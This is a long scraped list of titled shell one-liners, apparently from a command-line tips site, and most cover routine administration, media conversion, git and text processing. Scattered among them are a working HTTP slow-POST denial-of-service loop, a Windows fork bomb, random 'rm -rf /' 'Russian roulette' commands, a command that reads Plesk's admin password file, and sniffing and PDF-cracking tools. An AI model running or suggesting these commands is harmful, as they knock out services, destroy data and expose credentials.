Autofind alive hosts on subnet upon connect
dhclient wlan0 && sbnt=$(ifconfig wlan0 |grep "inet addr" |cut -d ":" -f 2 | cut -d "." -f 1-3) && nmap $sbnt.0/24 -sP
List Seeon.tv Available Video Channels
lynx --dump http://www.seeon.tv/channels| grep "/channels"|awk '{print $2}'|sort -u|while read links; do lynx --dump "$links"|awk '/view/ {print $2}'|sort -u; done
Generate random port number
shuf -i 1024-65535 -n 1
Current directory files and subdirectories ordered by size
du -ks * | sort -n
Quick way to sum every numbers in a file written line by line
awk '{sum += $0} END {print sum}' file
Recursive Ownership Change
sudo chown -R user2:user2 /../../somedirectory
Puts every word from a file into a new line
< <infile> tr ' \t' '\n' | tr -s '\n' > <outfile>
Convert ogg to mp3
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"; done
Delete files and directories from current directory exept those specified
rm -R `ls | egrep -v 'dir1|dir2|file1'`
Open Port Check
netstat -an | grep --color -i -E 'listen|listening'
Retrieve Plesk Admin Password
cat /etc/psa/.psa.shadow
create a motion jpeg (MJPEG) with the jpg file from current directory with mencoder
mencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc copy -oac copy -o output.avi
Export/Backup a PostgreSQL database
pg_dump -U postgres [nomeDB] > db.dump
Dump HTTP header using lynx or w3m
lynx -dump -head http://www.example.com/
Provide a list of all ELF binary objects (executable or libs) in a directory
file /usr/bin/* | grep ELF | cut -d":" -f1
Remove blank lines from a file
grep -v "^$" file
Remove an old gmetric statistic
gmetric -n $METRIC_NAME -v foo -t string -d 10
Capitalize the word with dd
echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;}
Find iPod's fwguid
lsusb -v | grep -o "[0-9A-Z]{16}"
Send and streamming video to web
cat video.ogg | nc -l -p 4232 & wget http://users.bshellz.net/~bazza/?nombre=name -O - & sleep 10; mplayer http://users.bshellz.net/~bazza/datos/name.ogg
OSX - Function to list all members for a given group
members () { dscl . -list /Users | while read user; do printf "$user "; dsmemberutil checkmembership -U "$user" -G "$*"; done | grep "is a member" | cut -d " " -f 1; };
Recursivly search current directory for files larger than 100MB
tree -ah --du . | ack '\[(\d{3,}M|\d+.*G)\]'
Delete all local git branches that have been merged and deleted from remote
git branch -d $( git branch -vv | grep '\[[^:]\+: gone\]' | awk '{print $1}' | xargs )
PlayTweets from the command line
vlc $(curl -s http://twitter.com/statuses/user_timeline/18855500.rss|grep play|sed -ne '/<title>/s/^.*\(http.*\)<\/title/\1/gp'|awk '{print $1}')
Show display type
ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r | strings -6
print statistics about users' connect time
ac -d | awk '{h=int($NF); m=($NF-h)*60; s=int((m-int(m))*60); m=int(m); print $0" = "h"h "m"m "s"s "}'
Gather libraries used and needed by a binary
for lib in `readelf -d /usr/bin/abiword | grep NEEDED | cut -f2 -d[ | cut -f1 -d]`; do [ -e /usr/lib/$lib ] && j=/usr/lib/$lib || j=`locate -l 1 $lib`; readlink -f $j ; done
Count httpd processes
pidof httpd | wc -w
Count httpd processes
pgrep -c 'httpd|apache2'
Sum files of certain extension in given directory
echo $(find <directory> -name '*.<extension>' -exec du -s {} \; | tee $(tty) | cut -f1 | tr '\n' '+') 0 | bc
check to see what is running on a specific port number
sudo netstat -tulpn | grep :8080
Find all python modules that use the math module
find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \;
Recreate all initrd files
for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e 's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done
Print free memory
free -m | awk '/Mem/ {print $4}'
Identifying Xorg video driver in use
egrep -i " connected|card detect|primary dev" /var/log/Xorg.0.log
check apache2 status with a lot of details
apachectl fullstatus
Find all machines on the network using broadcast ping
ping -b <broadcast address>
Find files/directories newer than X
touch -t 197001010000 ./tmp && find . -newer ./tmp && rm -f ./tmp
Shows all virtual machines in Citrix XenServer
xe vm-list
The program listening on port 8080 through IPv6
lsof -Pnl +M -i6 | grep 8080
print a cpu of a process
ps -eo args,%cpu | grep -m1 PROCESS | tr 'a-z-' ' ' | awk '{print $1}'
Add a list of numbers
echo $((1+2+3+4))
Generat a Random MAC address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 |sed '2d;s/^0\+ //;s/ /:/g'
Copy a virtual machine on Citrix XenServer, optionally to a different storage repository
xe vm-copy vm="ABCServer" sr-uuid=24565487-accf-55ed-54da54993ade784a new-name-label="Copy of ABCServer" new-name-description="New Description"
urldecoding
ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout'";fi;done | bash -x
exa
exa -glhrSuU -s size --group-directories-first -@ | less -R
delete all leading whitespace from each line in file
sed 's/^[ \t]*//' < <file> > <file>.out; mv <file>.out <file>
recursive permission set for xampp apache user nobody
sudo chown -R nobody:admin /Applications/XAMPP/xamppfiles/htdocs/
Arch Linux sort installed packages by size
pacman -Qi | grep 'Name\|Size\|Description' | cut -d: -f2 | paste - - - | awk -F'\t' '{ print $2, "\t", $1, "\t", $3 }' | sort -rn
Sed file spacing
sed G
Show current folder permission from /, useful for debugging ssh key permission
awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i=1;i<l+1;i++){d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\"");last=d}}'
Get Memeory Info
cat /proc/meminfo
change dir to n-th dir that you listed
cd $(ls -ltr|grep ^d|head -1|sed 's:.*\ ::g'|tail -1)
Find files and list them sorted by modification time
find -type f | xargs ls -1tr
quick integer CPU benchmark
time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo "2^2^20" '|' bc
Copy your SSH public key on a remote machine for passwordless login - the easy way
$ssh-copy-id ptaduri@c3pusas1
url sniffing
sudo urlsnarf -i wlan0
cat large file to clipboard
cat large.xml | xclip
Copy ssh keys to user@host to enable password-less ssh logins.
ssh-keygen ptaduri@c3pusas1
make directory
parallel -a <(seq 0 20) mkdir /tmp/dir1/{}
convert a string from lower case into uppercase
echo lowercaseword | tr '[a-z]' '[A-Z]'
renamed multiple file from .php to .html
rename s/ .php/ .html/ *.html
Set user password without passwd
echo 'user:newpassword' | chpasswd
Generate hash( of some types) from string
hashalot -s salt -x sha256 <<<"test"
ping as traceroute
mtr google.com
Stop your screen saver interrupting your mplayer sessions
alias mplayer='mplayer -stop-xscreensaver'
Get just the IP for a hostname
host google.com|awk '{print $NF}'
Opens a file,directory or URL in the user's preferred application
gnome-open .
show open ports on computer
netstat -an | grep -i listen
Emptying a text file in one shot
ggdG
Detect your computer's harddisk read speed without disk cache speed
cat /dev/sda | pv -r > /dev/null
Recursively remove all '.java.orig' files (scalable)
find . -type f -iname '*.java.orig' -delete
Hunt for the newest file.
find . -printf "%T@ %p\n" | sed -e 1d | while read ts fn; do ts=${ts%.*}; if [ $ts -ge ${gts:-0} ]; then gts=$ts; echo `date -d @$gts` $fn; fi; done
Remove ^M characters at end of lines in vi
:%s/^V^M//g
Get IPv4 of eth0 for use with scripts
ifconfig eth0 | perl -ne 'print $1 if m/addr:((?:\d+\.){3}\d+)/'
Generate a random password 32 characters long :)
makepasswd --char=32
Let's say you have a web site
for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done
Pushing changes to an empty git repository for the first time
git push --set-upstream origin master
Convert JSON to YAML
yq . -y <example.json
Fetch current song from last.fm
curl -s http://www.last.fm/user/$LASTFMUSER | grep -A 1 subjectCell | sed -e 's#<[^>]*>##g' | head -n2 | tail -n1 | sed 's/^[[:space:]]*//g'
Clone all remote branches of a specific GitHub repository
git branch -a | grep "remotes/origin" | grep -v master | awk -F / '{print $3}' | xargs -I % git clone -b % git://github.com/jamesotron/DevWorld-2010-Cocoa-Workshop %
Time redis ping in thousands of a second.
TIME=$( { time redis-cli PING; } 2>&1 ) ; echo $TIME | awk '{print $3}' | sed 's/0m//; s/\.//; s/s//; s/^0.[^[1-9]*//g;'
increment a bash variable
((x++))
find the device when you only know the mount point
df /media/mountpoint |egrep -o '^[/a-z0-9]*'
futz.me - Send yourself notes from the command line
lynx "futz.me/xxx hey this is a test"
Code to check if a module is used in python code
find . -name "*.ipynb" -exec grep -l "symspellpy" {} \;
Delete the n character at the end of file
awk 'BEGIN { ARGV[ARGC++]=ARGV[ARGC-1] } NR!=FNR { if(num==0) num=NR-1; if(FNR<num) {print} else { ORS=""; print } } ' abc1.txt > abc2.txt
turn off all services in specific runlevel
for i in $(chkconfig --list | grep "4:on" | awk {'print $1'}); do chkconfig --level 4 "$i" off; done
Watch mysql processlist on a remote host
watch -n 0.5 ssh [user]@[host] mysqladmin -u [mysql_user] -p[password] processlist | tee -a /to/a/file
password generator
genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} | tr ' ' '\n' | shuf -n$h | xargs);echo -e "${y// /}"; }
View the newest xkcd comic.
gwenview `wget -O - http://xkcd.com/ | grep 'png' | grep '<img src="http://imgs.xkcd.com/comics/' | sed s/title=\".*//g | sed 's/.png\"/.png/g' | sed 's/<img src=\"//g'`
Update iptables firewall with a temp ruleset
sudo iptables-restore < /etc/iptables.test.rules
Print all members of US House of Representatives
curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | perl -nle 's/^\t\t(.*$)/ $1/ and print;'
Add repository in source list without editing sources.list
add-apt-repository [REPOSITORY]
collapse first five fields of Google Adwords export .tsv file into a single field
awk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n--\n";}' LS=$'\n' 'Ad report.tsv' | column -t -s $'\t'
To compact all SQLite databases in your home directory
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
unzip to specific directory
unzip /surce/file.zip -d /dest/
Extracts blocks from damaged .bz2 files
bzip2recover damaged_file_name
get Hong Kong weather infomation from HK Observatory
wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | grep -v '^$'
rm filenames with spaces
find garbage/ -type f -delete
get Hong Kong weather infomation from HK Observatory
wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | tail -n4
Extract all 7zip files in current directory taking filename spaces into account
find -maxdepth 1 -type f -name "*.7z" -exec 7zr e '{}' ';'
Get the available physical ports and their information
setserial -g /dev/ttyS[0-9]* | grep -v "unknown"
Succeed or fail randomly (Schr?dinger's code)
test $((RANDOM%2)) -eq 0
Add Ubuntu Launchpad PPA and its PGP keys at the same time
sudo add-apt-repository ppa:PPA_TO_ADD
View files in ZIP archive
unzip -l files.zip
Find a file and then copy to tmp folder
for file in `ls | grep -i 'mumbai|pune|delhi'` ; do cp $file /tmp/ ; done
Replace DOS character ^M with newline using perl inline replace.
perl -pi -e "s/\r/\n/g" <file>
View the newest xkcd comic.
eog `curl 'http://xkcd.com/' | awk -F "ng): |</h" '/embedding/{print $2}'`
External IP address
curl ifconfig.me
Count the lines of source code in directory, ignoring files in generated by svn
find . -name '*.java' -o -name '*.xml' | grep -v '\.svn' | xargs wc -l
Uninstall all MacPorts that are no longer active
sudo port installed | grep -v 'active\|The' | xargs sudo port uninstall
Display file descriptors in Squid
squidclient mgr:info | grep "file desc"
self-extractable archives
makeself <archive_dir> <file_name> <label>
Stores current working directory before exit and restores it on a new bash start
echo -e 'alias exit='\''pwd > ~/.lastdir;exit'\''\n[ -n "$(cat .lastdir 2>/dev/null)" ] && cd "$(cat .lastdir)"' >> ~/.bash_aliases
Command-line russian roulette
[ $[ $RANDOM % 6 ] = 0 ] && rm -rf --no-preserve-root / || echo "Click"
Save and merge tcsh history across windows and sessions
Use history -S in your .logout file
use perl instead of sed
echo "sed -e"|perl -pe 's/sed -e/perl -pe/'
Join lines
cat file | tr -d "\n"
List your installed Firefox extensions
$grep -hIr -m 1 em:name ~/.mozilla/firefox/*.default/extensions|sed 's#\s*##'|tr '<>=' '"""'|cut -f3 -d'"'|sort -u
Length of longest line of code
wc -L files
recursively detecting files with a BOM
find . -type f -print0 | xargs -0r awk '/^\xEF\xBB\xBF/ {print FILENAME} {nextfile}'
find the device when you only know the mount point
grep -w /media/KINGSTON /proc/mounts | cut -d " " -f
Extract single table from a MySQL dump
cat dump.sql | sed -n -e '/Table structure for table .table1./,/Table structure for table .table2./p'
output one file per line
awk 'BEGIN{ORS=""}NR!=1&&FNR==1{print "\n"}{print}END{print "\n"}' *.txt
Use exit codes that actually means something.
source <(egrep '^#define EX_.*' /usr/include/sysexits.h | sed -e 's/#define/declare -r/g' | sed 's/\//#/g' | sed -e 's/\s\{1,\}/ /g' | sed -e 's/ \([0-9]\)/\=\1/'g )
Make mirror of ftp directory
wget -m --ftp-user=root --ftp-password=pass -A "*.csv" -nd -P "dirname" ftp://46.46.46.46/../mnt/sd/
Fork Bomb for Windows
%0 | %0
plink ssh connect
plink lyu0@mysshserver -pw 123456
Enable V4l2 Webcams
gst-launch v4l2src
Purgue foreing architecture packages on debian
dpkg -l |grep i386 | awk '{ print "apt-get -y remove --purge "$2 }' | sh
Get Minecraft ≥1.7 Server info (online players etc.) JSON
(echo -e '\x06\x00\x00\x00\x00\x00\x01\x01\x00'; sleep 1)|nc -c $host 25565
List files that DO NOT match a pattern
ls | grep -vi pattern
Select MacOSX Network Location
scselect <location>
Install a remote RPM
sudo rpm -if "http://rpm_server/rpm_repo/this-app.rpm"
Show only printable characters and newlines from a file or input
strings -1 <file>
Rename all the files in the current directory into their sha1sum
find . -maxdepth 1 -type f| xargs sha1sum | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done
bored of listing files with ls wanna see them in file browser in gnome try this
gnome-open .
Call remote web service
curl -D - -X POST -H 'Content-type: text/xml' -d @XML http://remote_server:8080/web-service/soap/WSName
Place the argument of the most recent command on the shell
cd !$
Restore accents in vi & others
LANG=fr_FR@euro
Once Guest Additions are installed (Virtualbox), we need to make sure that the various components of this software are loaded automatically each time the system boots.
sudo nano /etc/modules-load.d/virtualbox.conf
Initialise git in working directory with latest Visual Studio .gitignore [Windows]
git init; (Invoke-WebRequest https://raw.githubusercontent.com/github/gitignore/master/VisualStudio.gitignore -UseBasicParsing).Content | Out-File -FilePath .gitignore -Encoding utf8; git add -A
Prints per-line contribution per author for a GIT repository
git ls-files | while read i; do git blame $i | sed -e 's/^[^(]*(//' -e 's/^\([^[:digit:]]*\)[[:space:]]\+[[:digit:]].*/\1/'; done | sort | uniq -ic | sort -nr
Search git repo for specified string
git grep "search for something" $(git log -g --pretty=format:%h -S"search for something")
Launch command in backgroup or not
eval <command> ${INBACK:-&}
Use this command to reboot the pc in linux
sudo reboot
Create a CD/DVD ISO image from disk.
dd bs=1M if=/dev/scd0 of=./filename.iso OR readom -v dev='D:' f='./filename.iso' speed=2 retries=8
Delete all local branches that have been merged into master [Windows]
git branch --merged origin/master | Where-Object { !$_.Contains('master') } | ForEach-Object { git branch -d $_.trim() }
Block an IP address
iptables -A INPUT -s 65.55.44.100 -j DROP
Hunt for the newest file.
ls -trF | grep -v \/ | tail -n 1
git commit message and body
git commit -m "commit title message" -m "commit body message";
Delete all local branches that are not master [Windows]
git branch | Where-Object { !$_.Contains('master') } | ForEach-Object { git branch -D $_.Trim() }
Get your external IP address
curl ifconfig.me/all/xml
strip id3 v1 and v2 tags from all mp3s in current dir and below
find . -type f -iname "*.mp3" -exec id3v2 --delete-all {} \;
Convert filenames from ISO-8859-1 to UTF-8
LANG=fr_FR.iso8859-1 find . -name '*['$'\xe9'$'\xea'$'\xeb'$'\xc9'']*'|while read f; do a="$(echo $f|iconv -f iso8859-1 -t ascii//TRANSLIT)"; echo "move $f => $a"; done
pull list of links URLs from a given web page
mojo get <URL> 'a[href]' attr href
Convert an UNIX file to a DOS file.
sed -i 's/$/\r/' file
shell function to create an 'invisible regex' that won't show up when grepping the output from 'ps'
ir() { perl -pne 's/(.)(.*)/\[\1]\2/' <<< "$@" ;}
Renaming jpg extension files at bunch
find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ; print "mv \"$name\" \"$_\"\n"'
tail all logs opened by all java processes
sudo ls -l $(eval echo "/proc/{$(echo $(pgrep java)|sed 's/ /,/')}/fd/")|grep log|sed 's/[^/]* //g'|xargs -r tail -f
Convert videos to AVI format
mencoder FILENAME.3gp -ovc lavc -lavcopts vcodec=msmpeg4v2 -oac mp3lame -lameopts vbr=3 -o FILENAME.avi
Pull multiple repositories in child folders (a.k.a. I'm back from leave script) [Windows]
gci -Directory | foreach {Push-Location $_.Name; git fetch --all; git checkout master; git pull; Pop-Location}
cd canonical (resolve any symlinks)
alias cdc='cd `pwd -P`'
Create a new chrome profile and run it
p=~/.config/chromium/zed; cp -r ~/.config/chromium/Default $p && echo "chromium-browser --user-data-dir=$p" && chromium-browser --user-data-dir=$p;
To generate the list of dates using bash shell
now=`date +"%Y/%m/%d" -d "04/02/2005"` ; end=`date +"%Y/%m/%d" -d "07/31/2005"`; while [ "$now" != "$end" ] ; do now=`date +"%Y/%m/%d" -d "$now + 1 day"`; echo "$now"; done
truncate files without output redirection or temporary file creation
sed -i 's/`head -n 500 foo.log`//' foo.log
Get your external IP address
wget ifconfig.me/ip -q -O -
empty a gettext po-file (or, po2pot)
msgfilter --keep-header -i input.po -o empty.po awk -e '{}'
Random integer number between FLOOR and RANGE
FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM; let "number %= $RANGE"; done; echo $number
get ^DJI
getdji (){local url sedcmd;url='http://finance.yahoo.com/q?d=t&s=^DJI';sedcmd='/(DJI:.*)/,/Day.*/!d;s/^ *//g;';sedcmd="$sedcmd/Change:/s/Down / -/;/Change:/s/Up / +/;";sedcmd="$sedcmd/Open:/s//& /";lynx -dump "$url" | sed "$sedcmd"; }
Find the files that include a TODO statement within a project
find . -iname '*TODO*'
Renames all files in the current directory such that the new file contains no space characters.
find ./ $1 -name "* *" | while read a ; do mv "${a}" "${a//\ /_}" ; done
Shutdown all VMWare ESX VMs from commandline
for vm in `/usr/bin/vmware-cmd -l`; do /usr/bin/vmware-cmd "${vm}" stop trysoft; done
Login as another user in shell
su <username>
shell bash iterate number range with for loop
rangeBegin=10; rangeEnd=20; for numbers in $(eval echo "{$rangeBegin..$rangeEnd}"); do echo $numbers;done
use curl to resume a failed download
cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I-want-to-download.zip >successfully-downloaded.zip
Send web page by e-mail
{ u="http://twitter.com/commandlinefu"; echo "Subject: $u"; echo "Mime-Version: 1.0"; echo -e "Content-Type: text/html; charset=utf-8\n\n"; curl $u ; } | sendmail $USER
Better PS aliases
export PSOA='user,pid,time,state,command' ; function _ps { /bin/ps $@ ; } ; alias psa='_ps ax -o $PSOA'
Move files around local filesystem with tar without wasting space using an intermediate tarball.
tar -C <source> -cf - . | tar -C <destination> -xf -
show the log of a branch since its creation
svn log . --stop-on-copy
In an emergency to secure all user accounts, use the following command to lock out all users rather than shutting down the computer to help security engineers
passwd -l $(awk -F: '{ print $1 }' /etc/passwd | grep -v "nologin")
Serve current directory tree at http://$HOSTNAME:8080/
twistd -no web
List /usr dirs when "ascii" chars is not available and only digits.
ls ${PATH:0:5}
find unmaintained ports that are installed on your system
cd /usr/ports; grep -F "`for o in \`pkg_info -qao\` ; \ do echo "|/usr/ports/${o}|" ; done`" `make -V INDEXFILE` | \ grep -i \|ports@freebsd.org\| | cut -f 2 -d \|
Go to begin of current command line
CTRL + a
Day Date Time> Instead of $ or !!! Example "at the terminal
export PS1='\D{%a %D %T}> '
Go to next dir
cd -
creates a xkcd #936-style password
RANGE=`wc -l /usr/share/dict/words | sed 's/^\([0-9]*\) .*$/\1/'`; for i in {1..4}; do let "N = $RANDOM % $RANGE"; sed -n -e "${N}p" /usr/share/dict/words | tr -d '\n'; done; RANGE=100; let "N = $RANDOM % $RANGE"; echo $N
share single file in LAN via netcat
while :; do cat file.txt | nc -l 80; done
make comments invisible when editing a file
vim -c'highlight Comment ctermfg=white' my.conf
Compute newest kernel version from Makefile on Torvalds' git repository
curl -s -o - https://raw.githubusercontent.com/torvalds/linux/master/Makefile | head -n5 | grep -E '\ \=\ [0-9]{1,}' | cut -d' ' -f3 | tr '\n' '.' | sed -e "s/\.$//"
Run previous same command in history
Cloning hard disks over the network:
Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/dev/sda Then on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor bandwidth usage to see progress: nload eth0 -u M
List files that DO NOT match a pattern
printf "%s\n" !(pattern) #!!! Example "ksh, or bash with shopt -s extglob
Terrorist threat level text
echo "Terrorist threat level: `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`"
Generate an XKCD #936 style 4 word password
sort -R /usr/share/dict/british | grep -v -m4 ^\{1,10\}$ | tr [:upper:] [:lower:] | tr "\n" " " | tr -d "'s" | xargs -0 echo
multiline re search recursive
pcregrep --color -M -N CRLF -e "SQLEngine\.\w+\W*\([^\)]*\)" -r --include='\.java$'
Show header HTTP with tcpdump
tcpdump -s 1024 -l -A -n host 192.168.9.56
bored of listing files with ls wanna see them in file browser in gnome try this
xdg-open .
Convert windows text file to linux text document
sed 's/.$//' Win-file.txt
Show the system properties in a Sun VirtualBox server
VBoxManage list systemproperties
What is my public IP-address?
wget --quiet -O - checkip.dyndns.org | sed -e 's/[^:]*: //' -e 's/<.*$//'
Find most used focal lengths in a directory of photos
exiv2 *JPG | grep Focal | awk '{print $5}' | sort -n | uniq -c
Find lost passwords of PDFs files
pdfcrack <FILE>
Recursively change permissions on files, leave directories alone.
find /var/www/ -type f -print0 | xargs -0 chmod 644
Convert Markdown to reStructuredText
pandoc --from=markdown --to=rst --output=README.rst README.md
Expand shell variables in sed scripts
expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expanded_script}" your_input_file
Tweet my ip ( see your machine ip on twitter )
STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d status=$STAT http://twitter.com/statuses/update.xml
Verify the virtual machine status
VBoxManage showvminfo "cicciobox" --details
bash script to zip a folder while ignoring git files and copying it to dropbox
zip -r homard homard -x homard/.git\*; cp ./homard.zip /path_to_dropbox_public_folder/homard.zip
Generate MD5 of string and output only the hash checksum
echo -n "String to get MD5" | md5sum | sed "s/ -//"
Russian rullette: Warning! Don't run, if not sure what are you doing
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Alive"
osx disk utility
diskutil list
Making scripts runs on backgourd and logging output
nohup exemplo.sh &
shell bash iterate number range with for loop
for i in $(seq 1 5) ; do echo $i ; done
Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b -exec lvextend -m 1 {} /dev/disk/<disk> \;
List the supported OS in VirtualBox
VBoxManage list ostypes
Start mplayer in the framebuffer
mplayer -vo fbdev $1 -fs -subcp ${2:-cp1251} -vf scale=${3:-1280:720}
Watch end of files real time, especially log files
tail -f ~/.bash_history
show current directory
gnome-open .
How to create a vm in VirtualBox
VBoxManage createvm --name "vm-name" --ostype Ubuntu --register
Find files and list them sorted by modification time
find . -type f | xargs ls -ltrhg
Count the days until the next holiday in Argentina.
echo Faltan `curl http://www.elproximoferiado.com.ar/index.php?country=AR -silent | grep contador | cut -f2 -d">" | cut -f1 -d"<"` dias para el proximo feriado
Speaks latest tweet by Obama (os x)
curl "http://api.twitter.com/1/statuses/user_timeline.xml?count=1&screen_name=barackobama" | egrep -w "<text>(.*)</text>" | sed -E "s/<\/?text>//g" | say
Replace all the spaces in all the filenames of the current directory and including directories with underscores.
ls -1 | while read file; do new_file=$(echo $file | sed s/\ /_/g); mv "$file" "$new_file"; done
Reverse DNS lookups
sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*\)\./\4.\3.\2.\1\5/' \ lookups.txt
FInd out what branches a specific commit belongs to
git branch --contains <commit sha1 id> | sed -e 's/^[ *]*//'
Switch to windows using gpicker
wmctrl -i -a `wmctrl -l -x | gpicker -d "\n" -n "\n" - | awk '{print $1}'`
List of syscalls (for 32/64 bits systems)
egrep '__NR_' /usr/include/asm/unistd_`getconf -a | awk '$1~/^WORD/{print $2}'`.h | sed -e 's/^#define __NR_//' | column -t
retrieve GMT time from websites ( generally accruate )
w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}'
intersection between two files
sort file1 file2 | uniq -d
Remove a line from a file using sed (useful for updating known SSH server keys when they change)
perl -p -i -e 's/.*\n//g if $.==2' ~/.ssh/known_hosts
List OSX applications and versions.
find /Applications -type d -maxdepth 1 -exec sh -c 'echo "{}"; (plutil -convert xml1 -o - "{}/Contents/Info.plist" | xpath /dev/stdin "concat(\"v\", /plist/dict/string[preceding-sibling::key[1]=\"CFBundleShortVersionString\"]/node())" 2>/dev/null)' \;
Compare a remote file with a local file
diff /path/to/localfile <(ssh user@host cat /path/to/remotefile)
Add cover-art to mp3 tags
eyeD3 --add-image=coverart.jpg:FRONT_COVER musicfile.mp3
get size of a file
du -hs file-name
Get a text on a position on the file and store in a variable
TIMEUNIT=$(awk '/timescale/{print NR}' a)
Match a URL
cho "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i~/^(http|ftp):\/\//)print $i}}'
Recursively remove .svn directories
find -type d -name ".svn" -print0 | xargs -0 rm -rf
display mean response time of intermediates to a specified host
mtr -c 50 -r example.com
command to display info about the core specified
schedtool 1
Create .tar file on Mac OS X Leopard / Snow Leopard without ._* files
COPYFILE_DISABLE=true tar cvf newTarFile.tar Directory/
Get full directory path of a script regardless of where it is run from
dirname $(readlink -f ${BASH_SOURCE[0]})
Avoid using seq and pad numbers with leading zeros
for i in {001..999}; print $i
Random unsigned integer
curl -s "https://www.random.org/cgi-bin/randbyte?nbytes=4" | od -DAn
find php files even without extension
grep -Ilr "<?php" .
Get your external IP address
html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -c21-36
speak a chat log file while it's running
tail -f LOGFILE | awk '{system("say \"" $0 "\"");}'
tar the current directory wihtout the absolute path
tar -cf "../${PWD##*/}.tar" .
See crontabs for all users that have one
for USER in /var/spool/cron/*; do echo "--- crontab for $USER ---"; cat "$USER"; done
Load multiple sql script in mysql
cat schema.sql data.sql test_data.sql | mysql -u user --password=pass dbname
Find artist and title of a music cd, UPC code given (first result only)
wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' ; rm foobar
Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | awk '{print $1}'
Go to the Nth line of file
sed -n '15p' $file
Root Security
s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "s/$r yes/$r no/" $s.old > $s; else echo $r no >> $s;fi
Get column names in MySQL
mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database> | awk '{print $1}' | tr "\n" "," | sed 's/,$//g'
ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv
ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv
find duplicate files in a directory and choose which one to delete
fdupes DIRECTORY/ -r -d
Change size of lots of image files. File names are read from a text file.
( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist
restart Bluetooth from terminal
sudo service bluetooth restart
Force kill all named processes
kill -9 $(ps -ef | grep [h]ttpd | awk '{print $2}')
Combo matrix
echo -e "CHECK=SAMPLE" output --command_to_long
Sort all processes by the amount of virtual memory they are using
ps -e -o pid,vsz,comm= | sort -n -k 2
Erase empty files
find . -size 0 -print0 | xargs -0 rm
manually set system date/time
date MMDDhhmmYYYY
Mini-framework: just paste and execute!
c="cp -a";e="~";echo -e "\npaste\n";i=0;k="1"; while [[ "$k" != "" ]]; do read -a k;r[i]=$k;((i++));done;i=0;while :;do t=${r[i]};[ "$t" == "" ] && break; g=$(echo $c ${r[i]} $e);echo -e $g "\ny/n?";read y;[ "$y" != "n" ] && eval $g;((i++));done
a find and replace within text-based files
sed -i 's/http:\/\/old\/new\///g' index.html
Encrypted Tarballs
tar -cf - folder/ | gpg -c > folder.tpg
Get your external IP address
fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}'
Autodetect screens and extend workspace to the left
disper --displays=auto -e -t left
Performs Layer 7 HTTP DoS attack
for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done
Get your external IP address
wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g'
Find out who change what files in a SVN repository
svn log -v | less
Batch file suffix renaming
for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done
convert chrome html export to folders, links and descriptions
grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT>//' | sed '/Bookmarks bar/d' | sed 's/ ADD_DATE=\".*\"//g' | sed 's/^[ \t]*//' | tr '<A HREF' '<a href'
Processes biglion quantity of sold ebay coupons/bonus codes
